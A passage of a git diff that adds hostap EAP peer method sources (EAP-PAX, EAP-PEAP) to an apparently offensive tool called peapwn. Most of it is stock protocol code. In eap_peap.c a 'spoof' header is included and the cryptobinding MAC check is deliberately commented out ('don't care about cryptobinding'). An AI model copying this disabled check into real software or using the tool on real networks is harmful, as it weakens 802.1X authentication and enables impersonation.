eap_peer_method_alloc(EAP_PEER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_OTP, "OTP"); + if (eap == NULL) + return -1; + + eap->init = eap_otp_init; + eap->deinit = eap_otp_deinit; + eap->process = eap_otp_process; + + ret = eap_peer_method_register(eap); + if (ret) + eap_peer_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_peer/eap_pax.c b/peapwn/mods/hostap/src/eap_peer/eap_pax.c new file mode 100644 index 000000000..7f8705207 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_pax.c @@ -0,0 +1,525 @@ +/* + * EAP peer method: EAP-PAX (RFC 4746) + * Copyright (c) 2005-2008, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/random.h" +#include "eap_common/eap_pax_common.h" +#include "eap_i.h" + +/* + * Note: only PAX_STD subprotocol is currently supported + * + * TODO: Add support with PAX_SEC with the mandatory to implement ciphersuite + * (HMAC_SHA1_128, IANA DH Group 14 (2048 bits), RSA-PKCS1-V1_5) and + * recommended ciphersuite (HMAC_SHA256_128, IANA DH Group 15 (3072 bits), + * RSAES-OAEP). + */ + +struct eap_pax_data { + enum { PAX_INIT, PAX_STD_2_SENT, PAX_DONE } state; + u8 mac_id, dh_group_id, public_key_id; + union { + u8 e[2 * EAP_PAX_RAND_LEN]; + struct { + u8 x[EAP_PAX_RAND_LEN]; /* server rand */ + u8 y[EAP_PAX_RAND_LEN]; /* client rand */ + } r; + } rand; + char *cid; + size_t cid_len; + u8 ak[EAP_PAX_AK_LEN]; + u8 mk[EAP_PAX_MK_LEN]; + u8 ck[EAP_PAX_CK_LEN]; + u8 ick[EAP_PAX_ICK_LEN]; +}; + + +static void eap_pax_deinit(struct eap_sm *sm, void *priv); + + +static void * eap_pax_init(struct eap_sm *sm) +{ + struct eap_pax_data *data; + const u8 *identity, *password; + size_t identity_len, password_len; + + identity = eap_get_config_identity(sm, &identity_len); + password = eap_get_config_password(sm, &password_len); + if (!identity || !password) { + wpa_printf(MSG_INFO, "EAP-PAX: CID (nai) or key (password) " + "not configured"); + return NULL; + } + + if (password_len != EAP_PAX_AK_LEN) { + wpa_printf(MSG_INFO, "EAP-PAX: Invalid PSK length"); + return NULL; + } + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + data->state = PAX_INIT; + + data->cid = os_malloc(identity_len); + if (data->cid == NULL) { + eap_pax_deinit(sm, data); + return NULL; + } + os_memcpy(data->cid, identity, identity_len); + data->cid_len = identity_len; + + os_memcpy(data->ak, password, EAP_PAX_AK_LEN); + + return data; +} + + +static void eap_pax_deinit(struct eap_sm *sm, void *priv) +{ + struct eap_pax_data *data = priv; + os_free(data->cid); + os_free(data); +} + + +static struct wpabuf * eap_pax_alloc_resp(const struct eap_pax_hdr *req, + u8 id, u8 op_code, size_t plen) +{ + struct wpabuf *resp; + struct eap_pax_hdr *pax; + + resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_PAX, + sizeof(*pax) + plen, EAP_CODE_RESPONSE, id); + if (resp == NULL) + return NULL; + + pax = wpabuf_put(resp, sizeof(*pax)); + pax->op_code = op_code; + pax->flags = 0; + pax->mac_id = req->mac_id; + pax->dh_group_id = req->dh_group_id; + pax->public_key_id = req->public_key_id; + + return resp; +} + + +static struct wpabuf * eap_pax_process_std_1(struct eap_pax_data *data, + struct eap_method_ret *ret, u8 id, + const struct eap_pax_hdr *req, + size_t req_plen) +{ + struct wpabuf *resp; + const u8 *pos; + u8 *rpos; + size_t left, plen; + + wpa_printf(MSG_DEBUG, "EAP-PAX: PAX_STD-1 (received)"); + + if (data->state != PAX_INIT) { + wpa_printf(MSG_INFO, "EAP-PAX: PAX_STD-1 received in " + "unexpected state (%d) - ignored", data->state); + ret->ignore = TRUE; + return NULL; + } + + if (req->flags & EAP_PAX_FLAGS_CE) { + wpa_printf(MSG_INFO, "EAP-PAX: PAX_STD-1 with CE flag set - " + "ignored"); + ret->ignore = TRUE; + return NULL; + } + + left = req_plen - sizeof(*req); + + if (left < 2 + EAP_PAX_RAND_LEN) { + wpa_printf(MSG_INFO, "EAP-PAX: PAX_STD-1 with too short " + "payload"); + ret->ignore = TRUE; + return NULL; + } + + pos = (const u8 *) (req + 1); + if (WPA_GET_BE16(pos) != EAP_PAX_RAND_LEN) { + wpa_printf(MSG_INFO, "EAP-PAX: PAX_STD-1 with incorrect A " + "length %d (expected %d)", + WPA_GET_BE16(pos), EAP_PAX_RAND_LEN); + ret->ignore = TRUE; + return NULL; + } + + pos += 2; + left -= 2; + os_memcpy(data->rand.r.x, pos, EAP_PAX_RAND_LEN); + wpa_hexdump(MSG_MSGDUMP, "EAP-PAX: X (server rand)", + data->rand.r.x, EAP_PAX_RAND_LEN); + pos += EAP_PAX_RAND_LEN; + left -= EAP_PAX_RAND_LEN; + + if (left > 0) { + wpa_hexdump(MSG_MSGDUMP, "EAP-PAX: ignored extra payload", + pos, left); + } + + if (random_get_bytes(data->rand.r.y, EAP_PAX_RAND_LEN)) { + wpa_printf(MSG_ERROR, "EAP-PAX: Failed to get random data"); + ret->ignore = TRUE; + return NULL; + } + wpa_hexdump(MSG_MSGDUMP, "EAP-PAX: Y (client rand)", + data->rand.r.y, EAP_PAX_RAND_LEN); + + if (eap_pax_initial_key_derivation(req->mac_id, data->ak, data->rand.e, + data->mk, data->ck, data->ick) < 0) + { + ret->ignore = TRUE; + return NULL; + } + + wpa_printf(MSG_DEBUG, "EAP-PAX: PAX_STD-2 (sending)"); + + plen = 2 + EAP_PAX_RAND_LEN + 2 + data->cid_len + 2 + EAP_PAX_MAC_LEN + + EAP_PAX_ICV_LEN; + resp = eap_pax_alloc_resp(req, id, EAP_PAX_OP_STD_2, plen); + if (resp == NULL) + return NULL; + + wpabuf_put_be16(resp, EAP_PAX_RAND_LEN); + wpabuf_put_data(resp, data->rand.r.y, EAP_PAX_RAND_LEN); + wpa_hexdump(MSG_MSGDUMP, "EAP-PAX: B = Y (client rand)", + data->rand.r.y, EAP_PAX_RAND_LEN); + + wpabuf_put_be16(resp, data->cid_len); + wpabuf_put_data(resp, data->cid, data->cid_len); + wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-PAX: CID", + (u8 *) data->cid, data->cid_len); + + wpabuf_put_be16(resp, EAP_PAX_MAC_LEN); + rpos = wpabuf_put(resp, EAP_PAX_MAC_LEN); + eap_pax_mac(req->mac_id, data->ck, EAP_PAX_CK_LEN, + data->rand.r.x, EAP_PAX_RAND_LEN, + data->rand.r.y, EAP_PAX_RAND_LEN, + (u8 *) data->cid, data->cid_len, rpos); + wpa_hexdump(MSG_MSGDUMP, "EAP-PAX: MAC_CK(A, B, CID)", + rpos, EAP_PAX_MAC_LEN); + + /* Optional ADE could be added here, if needed */ + + rpos = wpabuf_put(resp, EAP_PAX_ICV_LEN); + eap_pax_mac(req->mac_id, data->ick, EAP_PAX_ICK_LEN, + wpabuf_head(resp), wpabuf_len(resp) - EAP_PAX_ICV_LEN, + NULL, 0, NULL, 0, rpos); + wpa_hexdump(MSG_MSGDUMP, "EAP-PAX: ICV", rpos, EAP_PAX_ICV_LEN); + + data->state = PAX_STD_2_SENT; + data->mac_id = req->mac_id; + data->dh_group_id = req->dh_group_id; + data->public_key_id = req->public_key_id; + + return resp; +} + + +static struct wpabuf * eap_pax_process_std_3(struct eap_pax_data *data, + struct eap_method_ret *ret, u8 id, + const struct eap_pax_hdr *req, + size_t req_plen) +{ + struct wpabuf *resp; + u8 *rpos, mac[EAP_PAX_MAC_LEN]; + const u8 *pos; + size_t left; + + wpa_printf(MSG_DEBUG, "EAP-PAX: PAX_STD-3 (received)"); + + if (data->state != PAX_STD_2_SENT) { + wpa_printf(MSG_INFO, "EAP-PAX: PAX_STD-3 received in " + "unexpected state (%d) - ignored", data->state); + ret->ignore = TRUE; + return NULL; + } + + if (req->flags & EAP_PAX_FLAGS_CE) { + wpa_printf(MSG_INFO, "EAP-PAX: PAX_STD-3 with CE flag set - " + "ignored"); + ret->ignore = TRUE; + return NULL; + } + + left = req_plen - sizeof(*req); + + if (left < 2 + EAP_PAX_MAC_LEN) { + wpa_printf(MSG_INFO, "EAP-PAX: PAX_STD-3 with too short " + "payload"); + ret->ignore = TRUE; + return NULL; + } + + pos = (const u8 *) (req + 1); + if (WPA_GET_BE16(pos) != EAP_PAX_MAC_LEN) { + wpa_printf(MSG_INFO, "EAP-PAX: PAX_STD-3 with incorrect " + "MAC_CK length %d (expected %d)", + WPA_GET_BE16(pos), EAP_PAX_MAC_LEN); + ret->ignore = TRUE; + return NULL; + } + pos += 2; + left -= 2; + wpa_hexdump(MSG_MSGDUMP, "EAP-PAX: MAC_CK(B, CID)", + pos, EAP_PAX_MAC_LEN); + eap_pax_mac(data->mac_id, data->ck, EAP_PAX_CK_LEN, + data->rand.r.y, EAP_PAX_RAND_LEN, + (u8 *) data->cid, data->cid_len, NULL, 0, mac); + if (os_memcmp(pos, mac, EAP_PAX_MAC_LEN) != 0) { + wpa_printf(MSG_INFO, "EAP-PAX: Invalid MAC_CK(B, CID) " + "received"); + wpa_hexdump(MSG_MSGDUMP, "EAP-PAX: expected MAC_CK(B, CID)", + mac, EAP_PAX_MAC_LEN); + ret->methodState = METHOD_DONE; + ret->decision = DECISION_FAIL; + return NULL; + } + + pos += EAP_PAX_MAC_LEN; + left -= EAP_PAX_MAC_LEN; + + if (left > 0) { + wpa_hexdump(MSG_MSGDUMP, "EAP-PAX: ignored extra payload", + pos, left); + } + + wpa_printf(MSG_DEBUG, "EAP-PAX: PAX-ACK (sending)"); + + resp = eap_pax_alloc_resp(req, id, EAP_PAX_OP_ACK, EAP_PAX_ICV_LEN); + if (resp == NULL) + return NULL; + + /* Optional ADE could be added here, if needed */ + + rpos = wpabuf_put(resp, EAP_PAX_ICV_LEN); + eap_pax_mac(data->mac_id, data->ick, EAP_PAX_ICK_LEN, + wpabuf_head(resp), wpabuf_len(resp) - EAP_PAX_ICV_LEN, + NULL, 0, NULL, 0, rpos); + wpa_hexdump(MSG_MSGDUMP, "EAP-PAX: ICV", rpos, EAP_PAX_ICV_LEN); + + data->state = PAX_DONE; + ret->methodState = METHOD_DONE; + ret->decision = DECISION_UNCOND_SUCC; + ret->allowNotifications = FALSE; + + return resp; +} + + +static struct wpabuf * eap_pax_process(struct eap_sm *sm, void *priv, + struct eap_method_ret *ret, + const struct wpabuf *reqData) +{ + struct eap_pax_data *data = priv; + const struct eap_pax_hdr *req; + struct wpabuf *resp; + u8 icvbuf[EAP_PAX_ICV_LEN], id; + const u8 *icv, *pos; + size_t len; + u16 flen, mlen; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_PAX, reqData, &len); + if (pos == NULL || len < EAP_PAX_ICV_LEN) { + ret->ignore = TRUE; + return NULL; + } + id = eap_get_id(reqData); + req = (const struct eap_pax_hdr *) pos; + flen = len - EAP_PAX_ICV_LEN; + mlen = wpabuf_len(reqData) - EAP_PAX_ICV_LEN; + + wpa_printf(MSG_DEBUG, "EAP-PAX: received frame: op_code 0x%x " + "flags 0x%x mac_id 0x%x dh_group_id 0x%x " + "public_key_id 0x%x", + req->op_code, req->flags, req->mac_id, req->dh_group_id, + req->public_key_id); + wpa_hexdump(MSG_MSGDUMP, "EAP-PAX: received payload", + pos, len - EAP_PAX_ICV_LEN); + + if (data->state != PAX_INIT && data->mac_id != req->mac_id) { + wpa_printf(MSG_INFO, "EAP-PAX: MAC ID changed during " + "authentication (was 0x%d, is 0x%d)", + data->mac_id, req->mac_id); + ret->ignore = TRUE; + return NULL; + } + + if (data->state != PAX_INIT && data->dh_group_id != req->dh_group_id) { + wpa_printf(MSG_INFO, "EAP-PAX: DH Group ID changed during " + "authentication (was 0x%d, is 0x%d)", + data->dh_group_id, req->dh_group_id); + ret->ignore = TRUE; + return NULL; + } + + if (data->state != PAX_INIT && + data->public_key_id != req->public_key_id) { + wpa_printf(MSG_INFO, "EAP-PAX: Public Key ID changed during " + "authentication (was 0x%d, is 0x%d)", + data->public_key_id, req->public_key_id); + ret->ignore = TRUE; + return NULL; + } + + /* TODO: add support EAP_PAX_HMAC_SHA256_128 */ + if (req->mac_id != EAP_PAX_MAC_HMAC_SHA1_128) { + wpa_printf(MSG_INFO, "EAP-PAX: Unsupported MAC ID 0x%x", + req->mac_id); + ret->ignore = TRUE; + return NULL; + } + + if (req->dh_group_id != EAP_PAX_DH_GROUP_NONE) { + wpa_printf(MSG_INFO, "EAP-PAX: Unsupported DH Group ID 0x%x", + req->dh_group_id); + ret->ignore = TRUE; + return NULL; + } + + if (req->public_key_id != EAP_PAX_PUBLIC_KEY_NONE) { + wpa_printf(MSG_INFO, "EAP-PAX: Unsupported Public Key ID 0x%x", + req->public_key_id); + ret->ignore = TRUE; + return NULL; + } + + if (req->flags & EAP_PAX_FLAGS_MF) { + /* TODO: add support for reassembling fragments */ + wpa_printf(MSG_INFO, "EAP-PAX: fragmentation not supported - " + "ignored packet"); + ret->ignore = TRUE; + return NULL; + } + + icv = pos + len - EAP_PAX_ICV_LEN; + wpa_hexdump(MSG_MSGDUMP, "EAP-PAX: ICV", icv, EAP_PAX_ICV_LEN); + if (req->op_code == EAP_PAX_OP_STD_1) { + eap_pax_mac(req->mac_id, (u8 *) "", 0, + wpabuf_head(reqData), mlen, NULL, 0, NULL, 0, + icvbuf); + } else { + eap_pax_mac(req->mac_id, data->ick, EAP_PAX_ICK_LEN, + wpabuf_head(reqData), mlen, NULL, 0, NULL, 0, + icvbuf); + } + if (os_memcmp(icv, icvbuf, EAP_PAX_ICV_LEN) != 0) { + wpa_printf(MSG_DEBUG, "EAP-PAX: invalid ICV - ignoring the " + "message"); + wpa_hexdump(MSG_MSGDUMP, "EAP-PAX: expected ICV", + icvbuf, EAP_PAX_ICV_LEN); + ret->ignore = TRUE; + return NULL; + } + + ret->ignore = FALSE; + ret->methodState = METHOD_MAY_CONT; + ret->decision = DECISION_FAIL; + ret->allowNotifications = TRUE; + + switch (req->op_code) { + case EAP_PAX_OP_STD_1: + resp = eap_pax_process_std_1(data, ret, id, req, flen); + break; + case EAP_PAX_OP_STD_3: + resp = eap_pax_process_std_3(data, ret, id, req, flen); + break; + default: + wpa_printf(MSG_DEBUG, "EAP-PAX: ignoring message with unknown " + "op_code %d", req->op_code); + ret->ignore = TRUE; + return NULL; + } + + if (ret->methodState == METHOD_DONE) { + ret->allowNotifications = FALSE; + } + + return resp; +} + + +static Boolean eap_pax_isKeyAvailable(struct eap_sm *sm, void *priv) +{ + struct eap_pax_data *data = priv; + return data->state == PAX_DONE; +} + + +static u8 * eap_pax_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_pax_data *data = priv; + u8 *key; + + if (data->state != PAX_DONE) + return NULL; + + key = os_malloc(EAP_MSK_LEN); + if (key == NULL) + return NULL; + + *len = EAP_MSK_LEN; + eap_pax_kdf(data->mac_id, data->mk, EAP_PAX_MK_LEN, + "Master Session Key", data->rand.e, 2 * EAP_PAX_RAND_LEN, + EAP_MSK_LEN, key); + + return key; +} + + +static u8 * eap_pax_get_emsk(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_pax_data *data = priv; + u8 *key; + + if (data->state != PAX_DONE) + return NULL; + + key = os_malloc(EAP_EMSK_LEN); + if (key == NULL) + return NULL; + + *len = EAP_EMSK_LEN; + eap_pax_kdf(data->mac_id, data->mk, EAP_PAX_MK_LEN, + "Extended Master Session Key", + data->rand.e, 2 * EAP_PAX_RAND_LEN, + EAP_EMSK_LEN, key); + + return key; +} + + +int eap_peer_pax_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_peer_method_alloc(EAP_PEER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_PAX, "PAX"); + if (eap == NULL) + return -1; + + eap->init = eap_pax_init; + eap->deinit = eap_pax_deinit; + eap->process = eap_pax_process; + eap->isKeyAvailable = eap_pax_isKeyAvailable; + eap->getKey = eap_pax_getKey; + eap->get_emsk = eap_pax_get_emsk; + + ret = eap_peer_method_register(eap); + if (ret) + eap_peer_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_peer/eap_peap.c b/peapwn/mods/hostap/src/eap_peer/eap_peap.c new file mode 100644 index 000000000..0aae1584e --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_peap.c @@ -0,0 +1,1334 @@ +/* + * EAP peer method: EAP-PEAP (draft-josefsson-pppext-eap-tls-eap-10.txt) + * Copyright (c) 2004-2008, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/sha1.h" +#include "crypto/tls.h" +#include "eap_common/eap_tlv_common.h" +#include "eap_common/eap_peap_common.h" +#include "eap_i.h" +#include "eap_tls_common.h" +#include "eap_config.h" +#include "tncc.h" +#include "spoof/spoof.h" + + +/* Maximum supported PEAP version + * 0 = Microsoft's PEAP version 0; draft-kamath-pppext-peapv0-00.txt + * 1 = draft-josefsson-ppext-eap-tls-eap-05.txt + * 2 = draft-josefsson-ppext-eap-tls-eap-10.txt + */ +#define EAP_PEAP_VERSION 1 + + +static void eap_peap_deinit(struct eap_sm *sm, void *priv); + + +struct eap_peap_data { + struct eap_ssl_data ssl; + + int peap_version, force_peap_version, force_new_label; + + const struct eap_method *phase2_method; + void *phase2_priv; + int phase2_success; + int phase2_eap_success; + int phase2_eap_started; + + struct eap_method_type phase2_type; + struct eap_method_type *phase2_types; + size_t num_phase2_types; + + int peap_outer_success; /* 0 = PEAP terminated on Phase 2 inner + * EAP-Success + * 1 = reply with tunneled EAP-Success to inner + * EAP-Success and expect AS to send outer + * (unencrypted) EAP-Success after this + * 2 = reply with PEAP/TLS ACK to inner + * EAP-Success and expect AS to send outer + * (unencrypted) EAP-Success after this */ + int resuming; /* starting a resumed session */ + int reauth; /* reauthentication */ + u8 *key_data; + u8 *session_id; + size_t id_len; + + struct wpabuf *pending_phase2_req; + enum { NO_BINDING, OPTIONAL_BINDING, REQUIRE_BINDING } crypto_binding; + int crypto_binding_used; + u8 binding_nonce[32]; + u8 ipmk[40]; + u8 cmk[20]; + int soh; /* Whether IF-TNCCS-SOH (Statement of Health; Microsoft NAP) + * is enabled. */ +}; + + +static int eap_peap_parse_phase1(struct eap_peap_data *data, + const char *phase1) +{ + const char *pos; + + pos = os_strstr(phase1, "peapver="); + if (pos) { + data->force_peap_version = atoi(pos + 8); + data->peap_version = data->force_peap_version; + wpa_printf(MSG_DEBUG, "EAP-PEAP: Forced PEAP version %d", + data->force_peap_version); + } + + if (os_strstr(phase1, "peaplabel=1")) { + data->force_new_label = 1; + wpa_printf(MSG_DEBUG, "EAP-PEAP: Force new label for key " + "derivation"); + } + + if (os_strstr(phase1, "peap_outer_success=0")) { + data->peap_outer_success = 0; + wpa_printf(MSG_DEBUG, "EAP-PEAP: terminate authentication on " + "tunneled EAP-Success"); + } else if (os_strstr(phase1, "peap_outer_success=1")) { + data->peap_outer_success = 1; + wpa_printf(MSG_DEBUG, "EAP-PEAP: send tunneled EAP-Success " + "after receiving tunneled EAP-Success"); + } else if (os_strstr(phase1, "peap_outer_success=2")) { + data->peap_outer_success = 2; + wpa_printf(MSG_DEBUG, "EAP-PEAP: send PEAP/TLS ACK after " + "receiving tunneled EAP-Success"); + } + + if (os_strstr(phase1, "crypto_binding=0")) { + data->crypto_binding = NO_BINDING; + wpa_printf(MSG_DEBUG, "EAP-PEAP: Do not use cryptobinding"); + } else if (os_strstr(phase1, "crypto_binding=1")) { + data->crypto_binding = OPTIONAL_BINDING; + wpa_printf(MSG_DEBUG, "EAP-PEAP: Optional cryptobinding"); + } else if (os_strstr(phase1, "crypto_binding=2")) { + data->crypto_binding = REQUIRE_BINDING; + wpa_printf(MSG_DEBUG, "EAP-PEAP: Require cryptobinding"); + } + +#ifdef EAP_TNC + if (os_strstr(phase1, "tnc=soh2")) { + data->soh = 2; + wpa_printf(MSG_DEBUG, "EAP-PEAP: SoH version 2 enabled"); + } else if (os_strstr(phase1, "tnc=soh1")) { + data->soh = 1; + wpa_printf(MSG_DEBUG, "EAP-PEAP: SoH version 1 enabled"); + } else if (os_strstr(phase1, "tnc=soh")) { + data->soh = 2; + wpa_printf(MSG_DEBUG, "EAP-PEAP: SoH version 2 enabled"); + } +#endif /* EAP_TNC */ + + return 0; +} + + +static void * eap_peap_init(struct eap_sm *sm) +{ + struct eap_peap_data *data; + struct eap_peer_config *config = eap_get_config(sm); + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + sm->peap_done = FALSE; + data->peap_version = EAP_PEAP_VERSION; + data->force_peap_version = -1; + data->peap_outer_success = 2; + data->crypto_binding = OPTIONAL_BINDING; + + if (config && config->phase1 && + eap_peap_parse_phase1(data, config->phase1) < 0) { + eap_peap_deinit(sm, data); + return NULL; + } + + if (eap_peer_select_phase2_methods(config, "auth=", + &data->phase2_types, + &data->num_phase2_types) < 0) { + eap_peap_deinit(sm, data); + return NULL; + } + + data->phase2_type.vendor = EAP_VENDOR_IETF; + data->phase2_type.method = EAP_TYPE_NONE; + + if (eap_peer_tls_ssl_init(sm, &data->ssl, config, EAP_TYPE_PEAP)) { + wpa_printf(MSG_INFO, "EAP-PEAP: Failed to initialize SSL."); + eap_peap_deinit(sm, data); + return NULL; + } + + return data; +} + + +static void eap_peap_deinit(struct eap_sm *sm, void *priv) +{ + struct eap_peap_data *data = priv; + if (data == NULL) + return; + if (data->phase2_priv && data->phase2_method) + data->phase2_method->deinit(sm, data->phase2_priv); + os_free(data->phase2_types); + eap_peer_tls_ssl_deinit(sm, &data->ssl); + os_free(data->key_data); + os_free(data->session_id); + wpabuf_free(data->pending_phase2_req); + os_free(data); +} + + +/** + * eap_tlv_build_nak - Build EAP-TLV NAK message + * @id: EAP identifier for the header + * @nak_type: TLV type (EAP_TLV_*) + * Returns: Buffer to the allocated EAP-TLV NAK message or %NULL on failure + * + * This function builds an EAP-TLV NAK message. The caller is responsible for + * freeing the returned buffer. + */ +static struct wpabuf * eap_tlv_build_nak(int id, u16 nak_type) +{ + struct wpabuf *msg; + + msg = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_TLV, 10, + EAP_CODE_RESPONSE, id); + if (msg == NULL) + return NULL; + + wpabuf_put_u8(msg, 0x80); /* Mandatory */ + wpabuf_put_u8(msg, EAP_TLV_NAK_TLV); + wpabuf_put_be16(msg, 6); /* Length */ + wpabuf_put_be32(msg, 0); /* Vendor-Id */ + wpabuf_put_be16(msg, nak_type); /* NAK-Type */ + + return msg; +} + + +static int eap_peap_get_isk(struct eap_sm *sm, struct eap_peap_data *data, + u8 *isk, size_t isk_len) +{ + u8 *key; + size_t key_len; + + os_memset(isk, 0, isk_len); + if (data->phase2_method == NULL || data->phase2_priv == NULL || + data->phase2_method->isKeyAvailable == NULL || + data->phase2_method->getKey == NULL) + return 0; + + if (!data->phase2_method->isKeyAvailable(sm, data->phase2_priv) || + (key = data->phase2_method->getKey(sm, data->phase2_priv, + &key_len)) == NULL) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Could not get key material " + "from Phase 2"); + return -1; + } + + if (key_len > isk_len) + key_len = isk_len; + os_memcpy(isk, key, key_len); + os_free(key); + + return 0; +} + + +static int eap_peap_derive_cmk(struct eap_sm *sm, struct eap_peap_data *data) +{ + u8 *tk; + u8 isk[32], imck[60]; + + /* + * Tunnel key (TK) is the first 60 octets of the key generated by + * phase 1 of PEAP (based on TLS). + */ + tk = data->key_data; + if (tk == NULL) + return -1; + wpa_hexdump_key(MSG_DEBUG, "EAP-PEAP: TK", tk, 60); + + if (data->reauth && + tls_connection_resumed(sm->ssl_ctx, data->ssl.conn)) { + /* Fast-connect: IPMK|CMK = TK */ + os_memcpy(data->ipmk, tk, 40); + wpa_hexdump_key(MSG_DEBUG, "EAP-PEAP: IPMK from TK", + data->ipmk, 40); + os_memcpy(data->cmk, tk + 40, 20); + wpa_hexdump_key(MSG_DEBUG, "EAP-PEAP: CMK from TK", + data->cmk, 20); + return 0; + } + + if (eap_peap_get_isk(sm, data, isk, sizeof(isk)) < 0) + return -1; + wpa_hexdump_key(MSG_DEBUG, "EAP-PEAP: ISK", isk, sizeof(isk)); + + /* + * IPMK Seed = "Inner Methods Compound Keys" | ISK + * TempKey = First 40 octets of TK + * IPMK|CMK = PRF+(TempKey, IPMK Seed, 60) + * (note: draft-josefsson-pppext-eap-tls-eap-10.txt includes a space + * in the end of the label just before ISK; is that just a typo?) + */ + wpa_hexdump_key(MSG_DEBUG, "EAP-PEAP: TempKey", tk, 40); + if (peap_prfplus(data->peap_version, tk, 40, + "Inner Methods Compound Keys", + isk, sizeof(isk), imck, sizeof(imck)) < 0) + return -1; + wpa_hexdump_key(MSG_DEBUG, "EAP-PEAP: IMCK (IPMKj)", + imck, sizeof(imck)); + + os_memcpy(data->ipmk, imck, 40); + wpa_hexdump_key(MSG_DEBUG, "EAP-PEAP: IPMK (S-IPMKj)", data->ipmk, 40); + os_memcpy(data->cmk, imck + 40, 20); + wpa_hexdump_key(MSG_DEBUG, "EAP-PEAP: CMK (CMKj)", data->cmk, 20); + + return 0; +} + + +static int eap_tlv_add_cryptobinding(struct eap_sm *sm, + struct eap_peap_data *data, + struct wpabuf *buf) +{ + u8 *mac; + u8 eap_type = EAP_TYPE_PEAP; + const u8 *addr[2]; + size_t len[2]; + u16 tlv_type; + + /* Compound_MAC: HMAC-SHA1-160(cryptobinding TLV | EAP type) */ + addr[0] = wpabuf_put(buf, 0); + len[0] = 60; + addr[1] = &eap_type; + len[1] = 1; + + tlv_type = EAP_TLV_CRYPTO_BINDING_TLV; + if (data->peap_version >= 2) + tlv_type |= EAP_TLV_TYPE_MANDATORY; + wpabuf_put_be16(buf, tlv_type); + wpabuf_put_be16(buf, 56); + + wpabuf_put_u8(buf, 0); /* Reserved */ + wpabuf_put_u8(buf, data->peap_version); /* Version */ + wpabuf_put_u8(buf, data->peap_version); /* RecvVersion */ + wpabuf_put_u8(buf, 1); /* SubType: 0 = Request, 1 = Response */ + wpabuf_put_data(buf, data->binding_nonce, 32); /* Nonce */ + mac = wpabuf_put(buf, 20); /* Compound_MAC */ + + wpa_hexdump(MSG_MSGDUMP, "EAP-PEAP: Compound_MAC CMK", data->cmk, 20); + wpa_hexdump(MSG_MSGDUMP, "EAP-PEAP: Compound_MAC data 1", + addr[0], len[0]); + wpa_hexdump(MSG_MSGDUMP, "EAP-PEAP: Compound_MAC data 2", + addr[1], len[1]); + hmac_sha1_vector(data->cmk, 20, 2, addr, len, mac); + + wpa_hexdump(MSG_MSGDUMP, "EAP-PEAP: Compound_MAC", mac, SHA1_MAC_LEN); + data->crypto_binding_used = 1; + + return 0; +} + + +/** + * eap_tlv_build_result - Build EAP-TLV Result message + * @id: EAP identifier for the header + * @status: Status (EAP_TLV_RESULT_SUCCESS or EAP_TLV_RESULT_FAILURE) + * Returns: Buffer to the allocated EAP-TLV Result message or %NULL on failure + * + * This function builds an EAP-TLV Result message. The caller is responsible + * for freeing the returned buffer. + */ +static struct wpabuf * eap_tlv_build_result(struct eap_sm *sm, + struct eap_peap_data *data, + int crypto_tlv_used, + int id, u16 status) +{ + struct wpabuf *msg; + size_t len; + + if (data->crypto_binding == NO_BINDING) + crypto_tlv_used = 0; + + len = 6; + if (crypto_tlv_used) + len += 60; /* Cryptobinding TLV */ + msg = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_TLV, len, + EAP_CODE_RESPONSE, id); + if (msg == NULL) + return NULL; + + wpabuf_put_u8(msg, 0x80); /* Mandatory */ + wpabuf_put_u8(msg, EAP_TLV_RESULT_TLV); + wpabuf_put_be16(msg, 2); /* Length */ + wpabuf_put_be16(msg, status); /* Status */ + + if (crypto_tlv_used && eap_tlv_add_cryptobinding(sm, data, msg)) { + wpabuf_free(msg); + return NULL; + } + + return msg; +} + + +static int eap_tlv_validate_cryptobinding(struct eap_sm *sm, + struct eap_peap_data *data, + const u8 *crypto_tlv, + size_t crypto_tlv_len) +{ + u8 buf[61], mac[SHA1_MAC_LEN]; + const u8 *pos; + + if (eap_peap_derive_cmk(sm, data) < 0) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Could not derive CMK"); + return -1; + } + + if (crypto_tlv_len != 4 + 56) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Invalid cryptobinding TLV " + "length %d", (int) crypto_tlv_len); + return -1; + } + + pos = crypto_tlv; + pos += 4; /* TLV header */ + if (pos[1] != data->peap_version) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Cryptobinding TLV Version " + "mismatch (was %d; expected %d)", + pos[1], data->peap_version); + return -1; + } + + if (pos[3] != 0) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Unexpected Cryptobinding TLV " + "SubType %d", pos[3]); + return -1; + } + pos += 4; + os_memcpy(data->binding_nonce, pos, 32); + pos += 32; /* Nonce */ + + /* Compound_MAC: HMAC-SHA1-160(cryptobinding TLV | EAP type) */ + os_memcpy(buf, crypto_tlv, 60); + os_memset(buf + 4 + 4 + 32, 0, 20); /* Compound_MAC */ + buf[60] = EAP_TYPE_PEAP; + wpa_hexdump(MSG_DEBUG, "EAP-PEAP: Compound_MAC data", + buf, sizeof(buf)); + hmac_sha1(data->cmk, 20, buf, sizeof(buf), mac); + + // Spoof: don't care about cryptobinding ;)---------------------------- + /*if (os_memcmp(mac, pos, SHA1_MAC_LEN) != 0) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Invalid Compound_MAC in " + "cryptobinding TLV"); + wpa_hexdump(MSG_DEBUG, "EAP-PEAP: 